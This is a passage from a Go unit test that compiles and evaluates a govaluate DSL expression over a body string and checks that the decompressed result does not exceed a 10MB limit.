for _, function := range functions {
helperFunctions[function.Name] = function.Exec
}
compiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, helperFunctions)
require.NoError(t, err, "Error while compiling the %q expression", dslExpression)
actualResult, err := compiledExpression.Evaluate(map[string]interface{}{
"body": string(data),
})
require.NoError(t, err, "Error while evaluating the compiled %q expression", dslExpression)
// Cannot be greater than 10MB
require.LessOrEqual(t, int64(len(actualResult.(string))), DefaultMaxDecompressionSize, "The result is too large")
}